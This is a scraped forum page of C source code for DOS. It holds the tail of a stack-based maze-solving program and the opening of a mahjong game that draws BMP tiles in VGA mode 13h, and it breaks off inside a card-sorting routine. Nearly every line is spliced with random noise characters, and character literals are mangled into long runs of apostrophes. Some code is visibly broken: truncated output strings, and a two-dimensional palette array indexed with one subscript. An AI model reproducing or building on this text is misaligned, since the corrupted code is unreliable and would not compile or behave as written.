void MarkPrint(PosType seat)& w5 ?+ n4 o4 f- @6 c6 ~& L+ ]
/* Mark the position seat. */
4 H9 j& K1 J, b; m1 m( c2 `- T3 E{! y9 q; K/ m4 ^' `7 Z+ ^9 y' p
maze[seat.x][seat.y].mark=-1;6 G$ l5 \+ O6 b" b& J7 d
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */4 j3 r2 r! Q# j; b
} /* MarkPrint */
* w5 _; Z: B; ]& y% C/ Hvoid FootPrint(PosType curpos)# I! N! I. L6 s" a3 R2 Q
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */" m. S# E. g6 }2 h8 D8 a$ m* m
{' b4 Z0 T! X1 ^5 ^2 j
maze[curpos.x][curpos.y].foot=1;
* d* J8 a' g# Q+ n/ U& F7 b3 Y} /* FootPrint */- v6 }9 S" w3 i# ?4 p5 U
PosType NextPos(PosType seat,int di)
3 h% E2 h" E1 j9 `. e{4 ~/ R% O0 E- v; P& \
switch(di)
! ]$ h3 Z" q0 X* ~" G( ?{
) ~0 B7 X8 i% Ecase 1: seat.y++; return seat; /* Eastward */
5 v! O; I4 s1 u7 a( Icase 2: seat.x++; return seat; /* Southward */
) k+ X* F- Y3 P1 n5 Acase 3: seat.y--; return seat; /* Westward */' u1 m# W. L+ n, j% S8 v
case 4: seat.x--; return seat; /* Northward */8 D9 \! H6 U  O$ X. x6 E! d
default: seat.x=0; seat.y=0; return seat;
. _- S, j0 I; G( F+ ~1 o4 P}
& n) r8 o1 \# g) K5 u  K& B9 k} /* NextPos */
7 F# s* o4 m+ N4 D8 B0 l7 r" ?. q3 k  h( \. H8 i# t2 }
/* The key to the program. */; I2 [5 E( _# F" ^- k/ f
/* Pre: The maze array &amp; the startplace &amp; the endplace.
/ @  N0 z/ O0 H; kPost: Find the one traverse of the maze and perform the mazepath.( F. g( Y# }6 p' ]
Uses: The ADT stack class.# a/ T5 x1 `# o; ^! y0 W( U  b( `: O. J2 t
*/* E3 a& N, g5 }  `' E
Status MazePath(PosType start,PosType end)9 f2 e& ]  m; v0 \) w- `
{; {0 x* `0 h4 O5 m  v+ y  z! B2 R  D
PosType curpos;5 R1 k5 Z* W. ]- k4 u( B
int curstep;# Q2 N; F" Y: `; W5 M+ @1 `$ b3 o
SElemType e;
7 p8 Z( B0 d& M- ], P9 R1 HStack *s,stack;* H7 z) W4 {5 @: F
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
! x/ `. k1 O8 k0 [if(!stack.base) Error("Overflow");
: S# o& K9 n- q& C( z- G8 T- h1 N9 ystack.top=stack.base;% l8 B* ~  _+ t1 g: d
stack.stacksize=STACK_INIT_SIZE;
1 B* V. `1 t" y9 F) G$ Xs=&amp;stack;: {: L, y: P: B0 Y* m0 I
curpos=start;
& o. X: e0 f" c% ncurstep=1;
  i/ K: y+ C$ Z! a+ o; B% \do
1 P$ w/ J& L3 m( G7 X: j4 p) F% f6 ~{5 m1 s2 \) d+ u1 V6 f4 N& K
if(Pass(curpos))
$ g7 J0 p: w3 F' n! S4 g{
$ N. _4 C7 n9 G( R' sFootPrint(curpos);
# W  R5 d. p, I3 _! M9 pe.ord=curstep; e.seat=curpos; e.di=1;
+ f! V* _" h' `6 ~. T9 ygotoxy((curpos.y+1)*2,curpos.x+2);) c2 B7 J( u. M  `" Q: {9 X
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
5 B: [+ o4 s3 k# c! Kdelay(8000); /* pospone time. */
8 x0 e7 m' A4 L8 DPush(s,e);
4 H0 [% a/ @, j- Pif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
% a( c8 I  y1 B$ o{0 Y$ U! r" k2 L1 i/ q& Q$ [
DestroyStack(s);3 e4 {7 w+ g* c; J. a4 s. r
return TRUE;. f/ x. q/ j( O+ q& P
}
% n9 b8 p/ O3 {- G! q8 N, r! Qcurpos=NextPos(curpos,1); /* Try next position. */
! r3 @) }5 b) }; |curstep++;) Z6 U$ s1 p1 H8 o6 i
}
% j" ~+ f0 V# }0 B/ t4 {: P9 |5 b# Zelse$ k3 U- ^- T$ i1 \
{
2 ~1 v( I# k; O- O  B" X2 Oif(!StackEmpty(s))
! g" Z! n: V) i7 D8 R' Y{
- D1 `9 C6 n) ]( K) g5 }7 R2 Se=Pop(s,e); /* Removed e from s. */# c' d/ b; ?6 }9 `. ~
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
4 x2 g; p2 E0 m; ?7 O2 r3 xand s is not empty. */
7 q# e# a; t0 R" W5 s3 R" e{0 R+ ~7 x+ E! d' x! i
MarkPrint(e.seat);
) H2 H1 I! X! V. Agotoxy((e.seat.y+1)*2,e.seat.x+2);
  y  F( D+ L& V9 X: S( sputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
( ^5 U3 f! L: d# H3 s- Z8 @* Jdelay(8000); /* Pospone time. */+ S" _. i4 p! `8 e; Z% w  H/ P
gotoxy((e.seat.y+1)*2,e.seat.x+2);& x; Z- j9 J. i- l# t3 G5 w- L
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');. r; Q0 p6 I' \  s, d9 Q+ _
e=Pop(s,e); /* Remove e from s. */7 A) F" L6 g! c( n0 i2 {
curstep--;$ A, b  Z7 K4 \; o3 i+ ?% S
}% e8 U. P* |; V7 ]* b" H. p
if(e.di&lt;4) /* The current position hasnot been checked. */
7 o& O, g7 ]% }6 b3 `{2 k9 l& g' g1 d4 P* u! S4 G" U! h8 l
e.di++;
: f5 k- J: I2 f/ n8 H; _Push(s,e); /* Insert e into s. */
& r( B' }; J' [' Ucurpos=NextPos(e.seat,e.di); /* Try next position. */
2 X6 B" r( q! B' Q}  @8 Q7 [: j: z6 Z, ?" `7 I' [
}6 o% T( P( i3 o3 Z
}
8 v/ v, e& ~' z( P8 j7 Z}: N# c3 ]$ c4 W2 q3 ^7 e4 H- f2 j7 _% r/ x
while(!StackEmpty(s));
; e1 c2 D7 J) \DestroyStack(s);
! S; b$ M9 D/ ~- z" G  Qreturn FALSE;+ s( }& i5 Q) K
} /* MazePath */
$ D; P8 T$ Z4 }3 [1 q5 Wvoid main()
, H/ ~8 r1 I# }1 N3 ?{
" b% Q; R' z' j& d( z  vPosType start,end;
) b6 v  }+ b4 F/ {CreatMaze();: G& f0 n* u% _8 @
start.x=StartPlace.y;
8 l' U) K- J4 A4 Astart.y=StartPlace.x;3 f+ p! g& l  A
end.x=EndPlace.y;
5 B6 C4 `2 F6 u; o& iend.y=EndPlace.x;1 g( b6 T( }9 E9 w( y/ K. ^5 |; O
if(MazePath(start,end))
8 @5 X2 y+ m) z{
1 v. ]* ~+ W. W, m$ Zgotoxy(2,22);+ J* @( E1 z8 j' P0 q
printf("ath found\n");
$ c, h8 Y5 m$ o* G}- f" b" j% u5 t3 C- W5 F( ~
else
5 j& |, Q, j/ `/ O  V7 ^/ j{$ ]: {" {9 P5 O0 t& j- x) y+ q& H
gotoxy(2,22);
) H$ }* L/ f, R, N* |' O. gprintf("ath not found\n");
2 U6 l' X7 Y7 \$ t6 ~$ E}
6 `3 S9 ?0 g5 \  B) `, K! b* rgetch();4 z( e" ]: x6 K: }- l' o
clrscr();
2 z: P9 H% A& n} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传* u* R! ?. A% `/ w- k1 f
/*天宇软件
' E$ |  [; r7 s! s6 r8 y作者:上海黑暗之龙3 b1 m) [9 C8 P4 n1 ~- a
2002/10/30
9 @5 W: @% S+ {/ v- c麻将原代码*/
& n" y" A9 u. H6 w#include "dos.h"
4 k& z5 F+ S" E& [9 c9 v#include "stdio.h"( |7 e9 [! o, Q1 F5 g+ h: o- v
#include "graphics.h"
! M0 ~$ \8 `; e7 W# G* i#include "bios.h"
* C' G3 m) c, E9 T* V% Y#include "conio.h"5 S. s; G6 F7 |6 ?/ a2 i% O
#include "stdlib.h"
5 U& I, V. ~/ c6 s% E8 |- t& Aunsigned char far *video_buffer=(char far *)0xA0000000L;3 Y; Q& i/ ~: v9 H
#define VGA256 0x13 /*图形模式13h*// {3 q9 X! s1 |% v" c, l% l
#define TEXT_MODE 0x03 /*普通文本模式*/
* B! i# @: t' R4 Y) n7 f#define SETVGA Set_Video_Mode(VGA256)
/ E* `5 \+ G- f- c' G' e! s#define OUTVGA Set_Video_Mode(TEXT_MODE)
% z! p& d+ V& U) E- g% G8 M8 Q0 W% ~#define BYTE unsigned char
& q8 ]4 g" ?: h: z0 b& h- a( E% x9 g+ n#define WORD unsigned int" O7 C0 A, G" q9 b$ S) q
#define DWORD unsigned int& S. L% M" s% f) U5 A
#define ESC 283& ~0 H% ^# C3 c  R
#define LEFT 19200
2 v. V3 [- b" c  ?+ G#define RIGHT 19712
- S1 E2 M) c  [' _9 M( c* e+ D6 Y#define H 9064
8 W% p( H- r. e8 }0 z#define ENTER 7181
. z3 C: ~' @8 H( R/ c2 Tunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
6 B5 F% y3 f3 {1 z& b6 v( iint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
+ i4 Z5 o, c1 Z( }0 ^( {3 R, Z  j) nstruct chi
, l3 G$ j/ G0 M. J$ U! O: k) T; |7 v{
4 r' |$ h' y& D3 l1 `6 o, s$ Fint lg;
2 v3 D. A" S* e) d( {int lgg;
5 r  O0 z1 V, ?7 a3 o}ch[13];) o) L6 U; }# W; @; G4 K
struct mj  W0 Z9 p0 ]7 t; C% _! k
{ char *name; /*名字*/. }7 a$ x; Y4 b& J9 o* ^* J; n
int data1; /*是否已出,无用了*/
% J% l  T% q3 j1 h! bint data2; /*是否在手中,1为自己,2为对方*/7 X# W6 k/ r& B8 x
int number; /*同一个花色的第几张,共4张*/! \; a6 P- l; {
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,  l( {4 b1 w+ V& b7 |0 k/ B& x, e
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
/ F% S4 D" w; ?4 A$ O$ a"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
0 V* E1 d4 W7 a; I! A( g3 G"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
7 w; d  L8 W& b. g7 k5 V3 R/ V"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1," ?+ }8 W: O  K
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2," K6 l6 ~9 }, I& ~
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,& }* N7 q& n3 Q- U! ~
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
, S5 e4 q1 m* F( p% o# D"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
. o$ m: B, ^0 v"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,- j' U; k$ p( p# ~
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
: g( q8 k; l" z3 x9 f8 ~7 m  K"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
$ I0 r4 R! [  j" d"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
! G/ p! E: i2 {0 V- E"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
$ |5 T$ v' c  z4 z! s7 ^& U( O2 J) n"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,+ }( v* a5 ?  Q/ V7 p
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
( s- N5 c! a* q7 y& N, B1 @& S"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
1 |! Z# y8 A+ T) l, B"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
$ Y* |2 X+ u" }+ {" b% X! a) v"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,6 g( c  n/ g% O5 e2 r# D) [% U0 o
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
' o6 Y5 X, {7 Q% e, t"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
1 S) [+ {- T* k4 m3 o2 \"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,( B) C- _% B0 @" k+ Z
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,. I4 a" G* B. Z+ U$ l8 @
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
7 k- {2 D0 _- ^1 L1 L! D"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,/ @: n7 w- j5 ~% c7 ~
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,2 [, M0 X3 U/ N7 A1 w
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
1 f9 X* ^) m3 Z* B& K* I"34.bmp"};
3 }" F- P  V! h% Y7 z4 ?5 qstruct every
% U0 ~+ L1 @+ }- ]/ ^6 }$ M0 m{ int *k; /*名字*/
4 r% ~) |, p5 b# ?int oneorfour; /*同一张牌的第几张*/
3 b% _* u: u: N1 K+ ~# cint number; /*第几张牌136*/
( N% @0 M6 \+ U& ~int p;, Z. [! d2 N, i: |5 I1 H
int g;6 d6 V  e" Y$ M6 t: z2 O; P# s
int c;
* E5 D" }% v. K; ^! w* Dint d[2];  X! |* O0 U6 F. b, ?( i$ r
};
2 T2 G( E" ^" H6 gstruct me
( j" e- F9 B4 K/ c3 y" ~{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
+ U4 t6 v4 ?7 F4 s$ H& Xint p; /*乓对方*/1 @; \* c0 h6 ~- s) x$ I6 C2 w
int c; /*吃对方*/" J# y. ^' s8 `' V! C( y9 e
int g; /*杠*/
( h9 L2 m3 H7 P6 q/ r
6 p# P5 t$ i- m: Q, Q. r" c4 gstruct every pp[14]; /*存放手上的牌*/
( b& ~- g3 g. n1 j! l7 O) {}me;* i  W% T4 W. J# }
struct computer
7 R* C& U: e: w2 I2 c3 `& b{ int m;" I( H7 {5 s7 A; m+ S) ^( B1 q
int p;" L" H+ t0 U0 A# [# j
int c;* g% r* e; D% R9 K) h4 I6 a9 V1 o
int g;/ _3 P$ K+ D# y, R" H/ T8 v2 Q+ h
struct every pp[14];, }+ S6 y+ j8 q+ z1 }, ~- H1 o
}computer,comp;
" ?! C. k7 D" y. K; S
# f8 B6 `) x: {* E& d1 S7 N/* 设置调色板 */) s; M7 G9 |: l) Q
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)8 |7 t9 I! K, l" q- `" a
{3 L$ g0 e. p) u$ {% Q
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/" [0 G# }% ^& T# m2 L+ B
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
% y  P( D$ M8 e! \( Q7 S, houtportb(0x3c9,g);
5 H. d/ [; I) P+ @7 ?$ Ioutportb(0x3c9,b);
  t% N$ @2 A0 y% L}' V. b9 T) [9 D4 U7 A
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/ m6 R# {( l! ^/ F$ a3 n" H/* 设置显示模式的函数 *// o5 N+ H3 y3 w7 N" \- N; p
void Set_Video_Mode(int mode)" B) F% o. Q6 p4 Z- K
{
% l& [3 s3 M5 Junion REGS inregs,outregs; /*定义输入和返回寄存器*/
7 U8 d  D6 o5 l- n  pinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/7 g7 K) B9 v1 f9 b' }3 r" ?
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/) n/ ^8 e) t# {7 T2 Q* k% b; h
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/# v+ [8 ^0 Q5 i$ f$ E  _9 M
}) a* _9 v& O' N
void v_line(int y0,int y1,int x,unsigned int color)
8 A: T. I2 B7 X) w1 F{ unsigned int address,n,temp;
6 H$ S3 s% W$ B  U1 f: z' Oif(y0&gt;y1); E2 U/ n9 o# p3 V
{. L: P5 o- d+ I/ A$ j
temp=y1;
7 c2 P% \6 w0 u* m+ V3 Fy1=y0;
$ H1 a! }  m' g  y7 }2 ky0=temp;" A5 ~9 z( Y1 `0 w
}
, w& c4 S+ T5 C+ C4 @address=320*y0+x;
/ L9 ?$ W" [" H" v, |for(n=0;n&lt;=y1-y0;n++)
+ m/ B; K2 i& a& S% _, A{0 }8 ^# k+ s& m% A
video_buffer[address]=color;+ r# {- ~- @$ f
address+=320;7 Y- n/ W$ G: i# k. R
}
& ~- N. L4 N* [( M, g4 p, |$ g}1 D5 W+ F4 R# Y4 }
void h_line(int x0,int x1,int y,unsigned int color)6 m% A6 ]' `! b# x* w
{ unsigned int address,n,temp;
8 M: N, C* r. O' Vif(x0&gt;x1)* y6 z& g" N4 q9 A' |3 }
{
9 m" |: Z0 u, I9 wtemp=x1;3 e1 P+ C( ~5 Z5 B6 |# t
x1=x0;
& ^$ Y4 L" l: C% ?% f: y7 C4 i1 dx0=temp;$ J) C8 o/ E5 |. a- {3 r
}( Q- O9 R+ P: U
address=320*y+x0;
; o, U" S# A' a( n1 I! Jfor(n=0;n&lt;=x1-x0;n++)1 C1 E% R' f/ }7 S
{6 ]7 C) S0 q9 S4 r
video_buffer[address]=color;3 H; I7 |8 _- s! a
address+=1;, h: M0 i( j& f0 R) h' s
}
/ ^" r4 b! J9 V! Z}
( J  f7 }* T! p, o! a% l) Rvoid p_pixel(int x,int y,unsigned int color)
* {* m: ]+ v( Q* e{ video_buffer[y*320+x]=color;
. C; ^6 T' j( d! h8 l) e+ X}
: g4 ^, H/ M; d$ f% X0 `void s_square(int x,int y,int side,int color)
8 j8 C) v. A7 K: v* b1 ]7 X{; O$ Y! n* N4 {5 Y# P6 i
h_line(x,x+side,y,color);$ r: m5 x. o9 a7 {' [. y( e# I
h_line(x,x+side,y+side,color);! _  `; c0 A% x  f0 r3 h
v_line(y,y+side,x,color);" e2 c, |3 R. g6 Q
v_line(y,y+side,x+side,color);! G2 C( @0 H! s( P
}
! {8 L' G4 R$ Z- I1 }! c7 \, S! Ivoid r_rectangle(int x1,int y1,int x2,int y2,int color)' a1 E. }+ a# f+ @' e  J: W9 n
{0 @1 S& h" w, g) ]  Y
h_line(x1,x2,y1,color);4 E+ E( Z  q6 q6 A4 P4 {! E, q/ [' R
h_line(x1,x2,y2,color);
; _- B3 o' V' J. b' Qv_line(y1,y2,x1,color);
+ \7 T  d9 C5 x+ s& O* ^8 kv_line(y1,y2,x2,color);
( ]1 v8 L  K- y4 N3 x% @# q}( D" G/ {: P" a. \$ \1 Z% S- {2 o
void fillRectangle(int x1,int y1,int x2,int y2,int color)
2 v3 q# w1 X: S& {{
, a  @# I' `3 g% R6 {( t8 @  A  i' Mint i;
$ X( K( t2 `3 Y: {for(i=y1;i&lt;=y2;i++)' O) p2 \1 x" \1 `2 L* W) ]
{( Q+ \" a7 w% B4 n
h_line(x1,x2,i,color);
% R8 C% @" y9 \/ ?1 O, Q}
0 A) m' b0 h: i}
% _. |+ N6 o& X; v  \# R* ^void showbmp(int l)6 A* ^) b4 A7 a6 P3 o7 Q
{ FILE *bmp;
/ G* @  f7 D1 g  [. wint i,x,y;2 H" T' T! D1 e& m  `
BYTE palette[256][3];0 U9 c7 ]+ K/ {+ E# F+ r# Q; }
bmp=fopen(me.pp[l].k,"rb");4 K% a- I& h4 |) e
fseek(bmp,54,SEEK_SET);6 D3 Y! D+ c( }, I& q
for(i=0;i&lt;256;i++)6 E# p2 m/ C7 k9 B9 y7 h. E. K
{9 T6 ~$ _. q% A4 {; |* e8 U& Y
palette[2]=fgetc(bmp)&gt;&gt;2;5 F: \3 y; Y8 w" M  Q) H7 k
palette[1]=fgetc(bmp)&gt;&gt;2;
& m: f1 D( z2 H- L' Xpalette[0]=fgetc(bmp)&gt;&gt;2;
& t+ G: @. h% s% w2 l& Nfgetc(bmp);
+ q; [  o7 P5 A2 q) |( rSet_Palette(i,palette[0],palette[1],palette[2]);
: `  _4 H" `4 f3 O}) w" d. E( h( O
for (y=0;y&lt;30;y++)
3 `3 F& ~" ~" S0 O& W  n" f  _for(x=0;x&lt;20;x++)
! P, D! I! ^' Y8 {pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
: W+ k9 H: d9 e/ {* efclose(bmp);; @) C3 p  }- U
}5 ]  Y9 ?# G' t! U5 o) q$ g
void showbmpd(int l)0 R, S2 o+ z8 }; C
{ FILE *bmp;
% w3 p) p" R# D) B: vint i,x,y;/ H) [* o1 b  a7 T3 U  z( A
BYTE palette[256][3];
# c8 O- i" x& h5 S! a; i4 q8 Dbmp=fopen(me.pp[l].k,"rb");/ H5 ]+ `& f  n
fseek(bmp,54,SEEK_SET);
8 K* N5 t# P/ c! ffor(i=0;i&lt;256;i++), A6 _8 J0 v  b
{
, U+ s0 K6 R% u3 }' [palette[2]=fgetc(bmp)&gt;&gt;2;
* Q7 ~- A# g# ^# jpalette[1]=fgetc(bmp)&gt;&gt;2;
( v! S8 i7 y+ G2 q- Hpalette[0]=fgetc(bmp)&gt;&gt;2;( U. x4 b0 V  Q0 N8 @& C2 B
fgetc(bmp);) f% f6 t( Q: ~! N" W* _
Set_Palette(i,palette[0],palette[1],palette[2]);
7 d8 o; ?2 u5 e) w4 \}7 V* k  S% v" {, z
for (y=0;y&lt;30;y++)5 d4 v! y6 E  f) ^( }6 F: r
for(x=0;x&lt;20;x++)4 k& A" ]& y  K" O; P1 R
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));9 [' z& I$ u, m" j" Q. R8 c3 l
fclose(bmp);+ v2 ^8 [1 f. w
}9 \( F) A) a3 n* g/ N/ p$ i
void showybmp(int ll)
$ E7 `+ l! e% w+ L3 w+ N% @" z{ FILE *bmp;: j) N& `6 r9 C
int i,x,y;
9 U0 \2 \6 S! F% E( ?BYTE palette[256][3];
- u6 f. ]4 I. O3 |: [1 |: h5 qbmp=fopen(computer.pp[ll].k,"rb");
' m9 F% i- P" G7 D% D2 p8 U' kfseek(bmp,54,SEEK_SET);
) z5 ^! `; a+ Mfor(i=0;i&lt;256;i++)
7 o# R# F8 K  a9 L! m9 p3 M0 M{
8 \1 h8 J2 K2 Ppalette[2]=fgetc(bmp)&gt;&gt;2;$ ?( g6 U9 V  U
palette[1]=fgetc(bmp)&gt;&gt;2;. r6 J7 R- v2 c* X3 f: d6 x
palette[0]=fgetc(bmp)&gt;&gt;2;6 b- R2 o" @1 O
fgetc(bmp);
# u$ t# q% w( p' s  wSet_Palette(i,palette[0],palette[1],palette[2]);7 N' q: ?6 ?' ]
}  G/ k9 }& ~- _
for (y=0;y&lt;30;y++)+ U- ?" j# F8 G1 y+ ]6 T6 ~( x
for(x=0;x&lt;20;x++)
: k. w* _" E; `: }% xpokeb(0xa000,y*320+x+zy,fgetc(bmp));5 w( U! V& v1 s6 P
fclose(bmp);
! O% O, B. ]' P* K+ g  @% ^  c2 e}  ?5 W3 P0 w9 B/ Q" g  c/ y# W" c
void showcbmp(int ll)
! S- S) _3 G% Z- O% r7 ^. x) W- y{ FILE *bmp;
5 |( Z8 s; [( S/ p' W: `5 gint i,x,y;
* M! J; h1 T; ~7 T* J$ E6 B! kBYTE palette[256][3];
3 [7 p8 m8 u- K; g' _. Zbmp=fopen(computer.pp[ll].k,"rb");
" ~6 N' _8 O  f1 c2 g2 F9 n' Lfseek(bmp,54,SEEK_SET);
* S, B: p0 ]* O+ d- lfor(i=0;i&lt;256;i++)% [2 D: e3 ]' q; |3 L
{
  T8 C  F; }3 S9 _; jpalette[2]=fgetc(bmp)&gt;&gt;2;# K. x. _; |8 F& ^% W
palette[1]=fgetc(bmp)&gt;&gt;2;
$ [9 Q/ m7 e: @3 Wpalette[0]=fgetc(bmp)&gt;&gt;2;
8 Z" I; h! s) q7 Ofgetc(bmp);
6 T  D2 |9 g  O4 [Set_Palette(i,palette[0],palette[1],palette[2]);1 D9 n* l5 k* @) P. Y. ?2 x) ]- _* ?* H& u
}
9 f# R$ k" L4 Tfor (y=0;y&lt;30;y++)1 c/ K& H$ r- T" S
for(x=0;x&lt;20;x++)0 Z" \1 G  l# r! W6 ]+ b
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
+ U3 A  G# }0 Mfclose(bmp);
; h4 n1 }1 x) Q( v; f9 u6 U, L}+ T1 p* A  Y2 l
void bmpp(int number)
9 H: `8 P  g' g; g{ FILE *bmp;
. }* b3 s& t7 e$ Gint i,x,y;
" F; _& @/ y9 ~8 }' ~BYTE palette[256][3];
+ I7 h6 x/ v; P( t- b8 T* j+ Z& abmp=fopen(m[number].name,"rb");
0 S3 K4 [( P2 `7 I/ h% `, @; }fseek(bmp,54,SEEK_SET);2 k* m; B" P0 l4 j% z9 e/ ^& P$ F
for(i=0;i&lt;256;i++)5 u4 G3 g; |1 X: F3 f
{0 b# b* y" {8 Z- A- V' m7 H6 V. x
palette[2]=fgetc(bmp)&gt;&gt;2;  v9 n) K/ B& q9 e% @3 b$ t
palette[1]=fgetc(bmp)&gt;&gt;2;
! R8 n6 D0 ^0 }palette[0]=fgetc(bmp)&gt;&gt;2;) w1 l( g4 J8 a4 I1 }" C: j$ w; L
fgetc(bmp);2 x' D. F0 s1 {( g% P% l
Set_Palette(i,palette[0],palette[1],palette[2]);
9 o5 D2 z0 \2 P& ]9 _8 U8 M6 c/ A% s}
5 A9 e! o5 C6 Y5 mfor (y=0;y&lt;30;y++)9 P/ E  X9 c0 ~% n' G6 D
for(x=0;x&lt;20;x++)% N; ?2 A; C0 v9 F. f5 v
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
/ }  p9 i2 s# C- Ffclose(bmp);# a9 V! m6 _8 ~* x
}
4 L  ~( O2 Y9 H  Fvoid comlipai() /*整理电脑的牌*/# }5 D* B( e2 P& @
{ int n,j,u;1 |3 I/ @3 k! K8 O: l
int *lingshi;- k3 q7 e7 [1 z2 P( u$ J$ G
for(n=0;n&lt;computer.m;n++)" k2 k5 t2 o8 A$ W
for(j=n;j&lt;computer.m;j++)
2 W; f& u" L! b8 Z3 C9 Z! n{
1 {" Y* Y: Y# m( dif(computer.pp[n].number&gt;computer.pp[j+1].number): N7 h# e$ O, g4 K' R' T
{
% w8 R$ Z4 n0 d7 P* r% e" n$ u2 Rlingshi=computer.pp[n].k;
$ T/ E0 [- c% L8 X5 C( ^& Ycomputer.pp[n].k=computer.pp[j+1].k;
* W( I# x, u( K/ q: gcomputer.pp[j+1].k=lingshi;
0 r+ f6 M' N! d/ }. ~u=computer.pp[n].oneorfour;
: y- B2 w1 y. @; t, W7 U( Z& I0 Pcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;0 _) P8 S3 \; w8 f8 i, {+ C
computer.pp[j+1].oneorfour=u;
; Z2 `+ H7 _5 e2 Wu=computer.pp[n].number;: V: ~  R: w) ]' u  W
computer.pp[n].number=computer.pp[j+1].number;  w% W4 n% B: k) v3 S3 F) Y: a
computer.pp[j+1].number=u;6 x7 q9 h3 [# ^# U: _
}
# K" M" `1 @( r! j7 R6 g! d5 j$ U) helse
" {3 u3 A. H$ l1 Z' L# b( u2 Vif(computer.pp[n].number==computer.pp[j+1].number)
8 `# u# t! ~9 t1 a7 O9 Mif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)3 A- }8 d; x/ H' ~' Q6 C8 m1 T' L
{' C$ W* ?: a5 o: O1 T* B5 {& G
lingshi=computer.pp[n].k;+ d0 ~" x: _3 B0 [
computer.pp[n].k=computer.pp[j+1].k;) t! \; e- R, _$ S0 e7 l& S: P3 }# k
computer.pp[j+1].k=lingshi;
